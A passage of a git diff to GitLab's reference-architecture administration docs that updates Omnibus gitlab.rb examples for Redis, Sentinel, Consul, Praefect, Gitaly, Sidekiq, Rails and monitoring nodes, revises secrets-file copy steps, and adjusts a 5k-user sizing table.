be changed again in `/etc/gitlab/gitlab.rb` after @@ -993,7 +997,7 @@ To configure the Sentinel Cache server: 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - roles ['redis_sentinel_role'] + roles(['redis_sentinel_role', 'consul_role']) ## Must be the same in every sentinel node redis['master_name'] = 'gitlab-redis-cache' @@ -1057,7 +1061,6 @@ To configure the Sentinel Cache server: #sentinel['failover_timeout'] = 60000 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -1074,11 +1077,11 @@ To configure the Sentinel Cache server: gitlab_rails['auto_migrate'] = false ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Go through the steps again for all the other Consul/Sentinel nodes, and make sure you set up the correct IPs. @@ -1106,8 +1109,8 @@ a node and change its status from primary to replica (and vice versa). 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - # Specify server role as 'redis_master_role' - roles ['redis_master_role'] + # Specify server role as 'redis_master_role' and enable Consul agent + roles(['redis_master_role', 'consul_role']) # IP address pointing to a local IP that the other machines can reach to. # You can also set bind to '0.0.0.0' which listen in all interfaces. @@ -1123,7 +1126,6 @@ a node and change its status from primary to replica (and vice versa). redis['password'] = 'REDIS_PRIMARY_PASSWORD_OF_SECOND_CLUSTER' ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -1140,9 +1142,8 @@ a node and change its status from primary to replica (and vice versa). gitlab_rails['auto_migrate'] = false ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. @@ -1160,8 +1161,8 @@ You can specify multiple roles, like sentinel and Redis, as: 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - # Specify server role as 'redis_replica_role' - roles ['redis_replica_role'] + # Specify server role as 'redis_replica_role' and enable Consul agent + roles(['redis_replica_role', 'consul_role']) # IP address pointing to a local IP that the other machines can reach to. # You can also set bind to '0.0.0.0' which listen in all interfaces. @@ -1184,7 +1185,6 @@ You can specify multiple roles, like sentinel and Redis, as: #redis['master_port'] = 6379 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -1201,16 +1201,16 @@ You can specify multiple roles, like sentinel and Redis, as: gitlab_rails['auto_migrate'] = false ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Go through the steps again for all the other replica nodes, and make sure to set up the IPs correctly. You can specify multiple roles, like sentinel and Redis, as: -`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about +`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about [roles](https://docs.gitlab.com/omnibus/roles/). These values don't have to be changed again in `/etc/gitlab/gitlab.rb` after @@ -1252,7 +1252,7 @@ To configure the Sentinel Queues server: 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - roles ['redis_sentinel_role'] + roles(['redis_sentinel_role', 'consul_role']) ## Must be the same in every sentinel node redis['master_name'] = 'gitlab-redis-persistent' @@ -1316,7 +1316,6 @@ To configure the Sentinel Queues server: #sentinel['failover_timeout'] = 60000 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -1333,7 +1332,7 @@ To configure the Sentinel Queues server: gitlab_rails['auto_migrate'] = false ``` -1. To prevent database migrations from running on upgrade, run: +1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: ```shell sudo touch /etc/gitlab/skip-auto-reconfigure @@ -1341,11 +1340,11 @@ To configure the Sentinel Queues server: Only the primary GitLab application server should handle migrations. -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Go through the steps again for all the other Sentinel nodes, and make sure you set up the correct IPs. @@ -1406,9 +1405,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. ```ruby # Disable all components except PostgreSQL and Consul - roles ['postgres_role'] - repmgr['enable'] = false - patroni['enable'] = false + roles(['postgres_role', 'consul_role']) # PostgreSQL configuration postgresql['listen_address'] = '0.0.0.0' @@ -1418,7 +1415,6 @@ in the second step, do not supply the `EXTERNAL_URL` value. gitlab_rails['auto_migrate'] = false # Configure the Consul agent - consul['enable'] = true ## Enable service discovery for Prometheus consul['monitoring_service_discovery'] = true @@ -1444,7 +1440,11 @@ in the second step, do not supply the `EXTERNAL_URL` value. # END user configuration ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Follow the [post configuration](#praefect-postgresql-post-configuration). <div align="right"> @@ -1542,19 +1542,18 @@ To configure the Praefect nodes, on each one: 1. Edit the `/etc/gitlab/gitlab.rb` file to configure Praefect: ```ruby - # Avoid running unnecessary services on the Gitaly server + # Avoid running unnecessary services on the Praefect server + gitaly['enable'] = false postgresql['enable'] = false redis['enable'] = false - nginx['enable'] = false puma['enable'] = false - unicorn['enable'] = false sidekiq['enable'] = false gitlab_workhorse['enable'] = false - grafana['enable'] = false - - # If you run a separate monitoring node you can disable these services - alertmanager['enable'] = false prometheus['enable'] = false + alertmanager['enable'] = false + grafana['enable'] = false + gitlab_exporter['enable'] = false + nginx['enable'] = false # Praefect Configuration praefect['enable'] = true @@ -1592,19 +1591,20 @@ To configure the Praefect nodes, on each one: # server ('praefect') and in git_data_dirs on Gitaly nodes ('gitaly-1') praefect['virtual_storages'] = { 'default' => { - 'gitaly-1' => { - 'address' => 'tcp://10.6.0.91:8075', - 'token' => '<praefect_internal_token>', - 'primary' => true - }, - 'gitaly-2' => { - 'address' => 'tcp://10.6.0.92:8075', - 'token' => '<praefect_internal_token>' - }, - 'gitaly-3' => { - 'address' => 'tcp://10.6.0.93:8075', - 'token' => '<praefect_internal_token>' - }, + 'nodes' => { + 'gitaly-1' => { + 'address' => 'tcp://10.6.0.91:8075', + 'token' => '<praefect_internal_token>' + }, + 'gitaly-2' => { + 'address' => 'tcp://10.6.0.92:8075', + 'token' => '<praefect_internal_token>' + }, + 'gitaly-3' => { + 'address' => 'tcp://10.6.0.93:8075', + 'token' => '<praefect_internal_token>' + }, + } } } @@ -1621,11 +1621,25 @@ To configure the Praefect nodes, on each one: # END user configuration ``` - 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and - then replace the file of the same name on this server. If that file isn't on - this server, add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace +the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. - 1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). +1. Praefect requires to run some database migrations, much like the main GitLab application. For this + you should select **one Praefect node only to run the migrations**, AKA the _Deploy Node_. This node + must be configured first before the others as follows: + + 1. In the `/etc/gitlab/gitlab.rb` file, change the `praefect['auto_migrate']` setting value from `false` to `true` + + 1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: + + ```shell + sudo touch /etc/gitlab/skip-auto-reconfigure + ``` + + 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect and + to run the Praefect database migrations. + +1. On all other Praefect nodes, [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. ### Configure Gitaly @@ -1669,21 +1683,17 @@ On each node: storage paths, enable the network listener, and to configure the token: ```ruby - # /etc/gitlab/gitlab.rb - # Avoid running unnecessary services on the Gitaly server postgresql['enable'] = false redis['enable'] = false - nginx['enable'] = false puma['enable'] = false - unicorn['enable'] = false sidekiq['enable'] = false gitlab_workhorse['enable'] = false - grafana['enable'] = false - - # If you run a separate monitoring node you can disable these services - alertmanager['enable'] = false prometheus['enable'] = false + alertmanager['enable'] = false + grafana['enable'] = false + gitlab_exporter['enable'] = false + nginx['enable'] = false # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false @@ -1691,9 +1701,11 @@ On each node: # Configure the gitlab-shell API callback URL. Without this, `git push` will # fail. This can be your 'front door' GitLab URL or an internal load # balancer. - # Don't forget to copy `/etc/gitlab/gitlab-secrets.json` from web server to Gitaly server. gitlab_rails['internal_api_url'] = 'https://gitlab.example.com' + # Gitaly + gitaly['enable'] = true + # Make Gitaly accept connections on all network interfaces. You must use # firewalls to restrict access to this address/port. # Comment out following line if you only want to support TLS connections @@ -1735,9 +1747,8 @@ On each node: }) ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and - then replace the file of the same name on this server. If that file isn't on - this server, add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). @@ -1844,28 +1855,19 @@ To configure the Sidekiq nodes, on each one: 1. Open `/etc/gitlab/gitlab.rb` with your editor: ```ruby - ######################################## - ##### Services Disabled ### - ######################################## - - nginx['enable'] = false - grafana['enable'] = false - prometheus['enable'] = false - alertmanager['enable'] = false + # Avoid running unnecessary services on the Sidekiq server gitaly['enable'] = false - gitlab_workhorse['enable'] = false - nginx['enable'] = false - puma['enable'] = false - postgres_exporter['enable'] = false postgresql['enable'] = false redis['enable'] = false - redis_exporter['enable'] = false + puma['enable'] = false + gitlab_workhorse['enable'] = false + prometheus['enable'] = false + alertmanager['enable'] = false + grafana['enable'] = false gitlab_exporter['enable'] = false + nginx['enable'] = false - ######################################## - #### Redis ### - ######################################## - + # Redis ## Redis connection details ## First cluster that will host the cache gitlab_rails['redis_cache_instance'] = 'redis://:<REDIS_PRIMARY_PASSWORD_OF_FIRST_CLUSTER>@gitlab-redis-cache' @@ -1897,10 +1899,7 @@ To configure the Sidekiq nodes, on each one: {host: '10.6.0.83', port: 26379}, ] - ####################################### - ### Gitaly ### - ####################################### - + # Gitaly # git_data_dirs get configured for the Praefect virtual storage # Address is Internal Load Balancer for Praefect # Token is praefect_external_token @@ -1911,31 +1910,26 @@ To configure the Sidekiq nodes, on each one: } }) - ####################################### - ### Postgres ### - ####################################### + # PostgreSQL gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP gitlab_rails['db_port'] = 6432 gitlab_rails['db_password'] = '<postgresql_user_password>' gitlab_rails['db_adapter'] = 'postgresql' gitlab_rails['db_encoding'] = 'unicode' - # Prevent database migrations from running on upgrade automatically + ## Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false - ####################################### - ### Sidekiq configuration ### - ####################################### + # Sidekiq + sidekiq['enable'] = true sidekiq['listen_address'] = "0.0.0.0" - # Set number of Sidekiq queue processes to the same number as available CPUs + ## Set number of Sidekiq queue processes to the same number as available CPUs sidekiq['queue_groups'] = ['*'] * 4 - # Set number of Sidekiq threads per queue process to the recommend number of 10 + ## Set number of Sidekiq threads per queue process to the recommend number of 10 sidekiq['max_concurrency'] = 10 - ####################################### - ### Monitoring configuration ### - ####################################### + # Monitoring consul['enable'] = true consul['monitoring_service_discovery'] = true @@ -1946,15 +1940,12 @@ To configure the Sidekiq nodes, on each one: # Set the network addresses that the exporters will listen on node_exporter['listen_address'] = '0.0.0.0:9100' - # Rails Status for prometheus + ## Add the monitoring node's IP address to the monitoring whitelist gitlab_rails['monitoring_whitelist'] = ['10.6.0.151/32', '127.0.0.0/8'] - ############################# - ### Object storage ### - ############################# - - # This is an example for configuring Object Storage on GCP - # Replace this config with your chosen Object Storage provider as desired + # Object storage + ## This is an example for configuring Object Storage on GCP + ## Replace this config with your chosen Object Storage provider as desired gitlab_rails['object_store']['connection'] = { 'provider' => 'Google', 'google_project' => '<gcp-project-name>', @@ -1967,11 +1958,26 @@ To configure the Sidekiq nodes, on each one: gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-packages-bucket-name>" gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>" gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>" + + gitlab_rails['backup_upload_connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>" + ``` + +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + +1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: + + ```shell + sudo touch /etc/gitlab/skip-auto-reconfigure ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. + Only a single designated node should handle migrations as detailed in the + [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section. 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. @@ -2011,9 +2017,6 @@ On each node perform the following: 1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab package of your choice. Be sure to follow _only_ installation steps 1 and 2 on the page. -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. 1. Edit `/etc/gitlab/gitlab.rb` and use the following configuration. To maintain uniformity of links across nodes, the `external_url` @@ -2035,7 +2038,7 @@ On each node perform the following: }) ## Disable components that will not be on the GitLab application server - roles ['application_role'] + roles(['application_role']) gitaly['enable'] = false nginx['enable'] = true sidekiq['enable'] = false @@ -2108,9 +2111,15 @@ On each node perform the following: gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-packages-bucket-name>" gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>" gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>" + + gitlab_rails['backup_upload_connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>" ``` -1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). 1. If you're using [Gitaly with TLS support](#gitaly-cluster-tls-support), make sure the `git_data_dirs` entry is configured with `tls` instead of `tcp`: @@ -2129,6 +2138,20 @@ On each node perform the following: sudo cp cert.pem /etc/gitlab/trusted-certs/ ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + +1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: + + ```shell + sudo touch /etc/gitlab/skip-auto-reconfigure + ``` + + Only a single designated node should handle migrations as detailed in the + [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section. + +1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. If you're [using NFS](#configure-nfs-optional): 1. If necessary, install the NFS client utility packages using the following commands: @@ -2168,7 +2191,7 @@ On each node perform the following: registry['gid'] = 9002 ``` -1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). + 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). 1. Confirm the node can connect to Gitaly: ```shell @@ -2232,52 +2255,30 @@ To configure the Monitoring node: 1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab package of your choice. Be sure to follow _only_ installation steps 1 and 2 on the page. -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - external_url 'http://gitlab.example.com' + roles(['monitoring_role', 'consul_role']) - # Disable all other services - alertmanager['enable'] = false - gitaly['enable'] = false - gitlab_exporter['enable'] = false - gitlab_workhorse['enable'] = false - nginx['enable'] = true - postgres_exporter['enable'] = false - postgresql['enable'] = false - redis['enable'] = false - redis_exporter['enable'] = false - sidekiq['enable'] = false - puma['enable'] = false - unicorn['enable'] = false - node_exporter['enable'] = false - gitlab_exporter['enable'] = false + external_url 'http://gitlab.example.com' - # Enable Prometheus - prometheus['enable'] = true + # Prometheus prometheus['listen_address'] = '0.0.0.0:9090' prometheus['monitor_kubernetes'] = false - # Enable Login form - grafana['disable_login_form'] = false - - # Enable Grafana - grafana['enable'] = true + # Grafana grafana['admin_password'] = '<grafana_password>' + grafana['disable_login_form'] = false # Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true consul['configuration'] = { retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } - # Prevent database migrations from running on upgrade automatically - gitlab_rails['auto_migrate'] = false + # Nginx - For Grafana access + nginx['enable'] = true ``` 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). diff --git a/doc/administration/reference_architectures/5k_users.md b/doc/administration/reference_architectures/5k_users.md index 792dd7020c7..9952df196c9 100644 --- a/doc/administration/reference_architectures/5k_users.md +++ b/doc/administration/reference_architectures/5k_users.md @@ -24,26 +24,31 @@ costly-to-operate environment by using the | Service | Nodes | Configuration | GCP | AWS | Azure | |--------------------------------------------|-------------|-------------------------|-----------------|--------------|----------| -| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| Redis** | 3 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` | -| Consul* + Sentinel** | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| PostgreSQL* | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | -| PgBouncer* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| External load balancing node(3) | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Redis(2) | 3 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` | +| Consul(1) + Sentinel(2) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| PostgreSQL(1) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | +| PgBouncer(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Internal load balancing node(3) | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | | Gitaly | 3 | 8 vCPU, 30 GB memory | `n1-standard-8` | `m5.2xlarge` | `D8s v3` | | Praefect | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| Praefect PostgreSQL* | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Praefect PostgreSQL(1) | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | | Sidekiq | 4 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` | | GitLab Rails | 3 | 16 vCPU, 14.4 GB memory | `n1-highcpu-16` | `c5.4xlarge` | `F16s v2`| | Monitoring node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| Object storage | n/a | n/a | n/a | n/a | n/a | +| Object storage(4) | n/a | n/a | n/a | n/a | n/a | | NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` | +<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix --> +<!-- markdownlint-disable MD029 --> +1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery. +2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work. +3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work. +4. Should be run on reputable third party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work. +<!-- markdownlint-enable MD029 --> + NOTE: -Components marked with * can be optionally run on reputable -third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work. -Components marked with ** can be optionally run on reputable -third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work. +For all PaaS solutions that involve configuring instances, it is strongly recommended to implement a minimum of three nodes in three different availability zones to align with resilient cloud architecture practices. ```plantuml @startuml 5k @@ -161,7 +166,7 @@ To set up GitLab and its components to accommodate up to 5,000 users: provides access to the Git repositories. 1. [Configure Sidekiq](#configure-sidekiq). 1. [Configure the main GitLab Rails application](#configure-gitlab-rails) - to run Puma/Unicorn, Workhorse, GitLab Shell, and to serve all frontend + to run Puma, Workhorse, GitLab Shell, and to serve all frontend requests (which include UI, API, and Git over HTTP/SSH). 1. [Configure Prometheus](#configure-prometheus) to monitor your GitLab environment. @@ -462,8 +467,8 @@ a node and change its status from primary to replica (and vice versa). 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - # Specify server role as 'redis_master_role' - roles ['redis_master_role'] + # Specify server role as 'redis_master_role' and enable Consul agent + roles(['redis_master_role', 'consul_role']) # IP address pointing to a local IP that the other machines can reach to. # You can also set bind to '0.0.0.0' which listen in all interfaces. @@ -479,7 +484,6 @@ a node and change its status from primary to replica (and vice versa). redis['password'] = 'redis-password-goes-here' ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -500,10 +504,13 @@ a node and change its status from primary to replica (and vice versa). gitlab_rails['auto_migrate'] = false ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. You can specify multiple roles, like sentinel and Redis, as: -`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about +`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about [roles](https://docs.gitlab.com/omnibus/roles/). You can list the current Redis Primary, Replica status via: @@ -538,8 +545,8 @@ run: redis-exporter: (pid 30075) 76861s; run: log: (pid 29674) 76896s 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - # Specify server role as 'redis_replica_role' - roles ['redis_replica_role'] + # Specify server role as 'redis_replica_role' and enable Consul agent + roles(['redis_replica_role', 'consul_role']) # IP address pointing to a local IP that the other machines can reach to. # You can also set bind to '0.0.0.0' which listen in all interfaces. @@ -562,7 +569,6 @@ run: redis-exporter: (pid 30075) 76861s; run: log: (pid 29674) 76896s #redis['master_port'] = 6379 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -583,12 +589,15 @@ run: redis-exporter: (pid 30075) 76861s; run: log: (pid 29674) 76896s gitlab_rails['auto_migrate'] = false ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Go through the steps again for all the other replica nodes, and make sure to set up the IPs correctly. You can specify multiple roles, like sentinel and Redis, as: -`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about +`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about [roles](https://docs.gitlab.com/omnibus/roles/). These values don't have to be changed again in `/etc/gitlab/gitlab.rb` after @@ -630,7 +639,7 @@ To configure the Sentinel: 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - roles ['redis_sentinel_role', 'consul_role'] + roles(['redis_sentinel_role', 'consul_role']) # Must be the same in every sentinel node redis['master_name'] = 'gitlab-redis' @@ -694,7 +703,6 @@ To configure the Sentinel: # sentinel['failover_timeout'] = 60000 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -712,6 +720,9 @@ To configure the Sentinel: gitlab_rails['auto_migrate'] = false ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Go through the steps again for all the other Consul/Sentinel nodes, and make sure you set up the correct IPs. @@ -805,6 +816,15 @@ in the second step, do not supply the `EXTERNAL_URL` value. sudo gitlab-ctl pg-password-md5 pgbouncer ``` +1. Generate a password hash for the PostgreSQL replication username/password pair. This assumes you will use the default + username of `gitlab_replicator` (recommended). The command will request a password + and a confirmation. Use the value that is output by this command in the next step + as the value of `<postgresql_replication_password_hash>`: + + ```shell + sudo gitlab-ctl pg-password-md5 gitlab_replicator + ``` + 1. Generate a password hash for the Consul database username/password pair. This assumes you will use the default username of `gitlab-consul` (recommended). The command will request a password and confirmation. Use the value that is output by this command in the next @@ -817,19 +837,21 @@ in the second step, do not supply the `EXTERNAL_URL` value. 1. On every database node, edit `/etc/gitlab/gitlab.rb` replacing values noted in the `# START user configuration` section: ```ruby - # Disable all components except PostgreSQL, Patroni, and Consul - roles ['postgres_role'] + # Disable all components except Patroni and Consul + roles(['patroni_role']) # PostgreSQL configuration postgresql['listen_address'] = '0.0.0.0' - # Enable Patroni - patroni['enable'] = true - # Set `max_wal_senders` to one more than the number of database nodes in the cluster. + # Sets `max_replication_slots` to double the number of database nodes. + # Patroni uses one extra slot per node when initiating the replication. + patroni['postgresql']['max_replication_slots'] = 8 + + # Set `max_wal_senders` to one more than the number of replication slots in the cluster. # This is used to prevent replication from using up all of the # available database connections. - patroni['postgresql']['max_wal_senders'] = 4 - patroni['postgresql']['max_replication_slots'] = 4 + patroni['postgresql']['max_wal_senders'] = 9 + # Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691. patroni['postgresql']['max_connections'] = 500 @@ -837,7 +859,6 @@ in the second step, do not supply the `EXTERNAL_URL` value. gitlab_rails['auto_migrate'] = false # Configure the Consul agent - consul['enable'] = true consul['services'] = %w(postgresql) ## Enable service discovery for Prometheus consul['monitoring_service_discovery'] = true @@ -847,6 +868,8 @@ in the second step, do not supply the `EXTERNAL_URL` value. # # Replace PGBOUNCER_PASSWORD_HASH with a generated md5 value postgresql['pgbouncer_user_password'] = '<pgbouncer_password_hash>' + # Replace POSTGRESQL_REPLICATION_PASSWORD_HASH with a generated md5 value + postgresql['sql_replication_password'] = '<postgresql_replication_password_hash>' # Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value postgresql['sql_user_password'] = '<postgresql_password_hash>' @@ -870,9 +893,8 @@ PostgreSQL, with Patroni managing its failover, will default to use `pg_rewind` Like most failover handling methods, this has a small chance of leading to data loss. Learn more about the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method). -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. @@ -887,21 +909,7 @@ are supported and can be added if 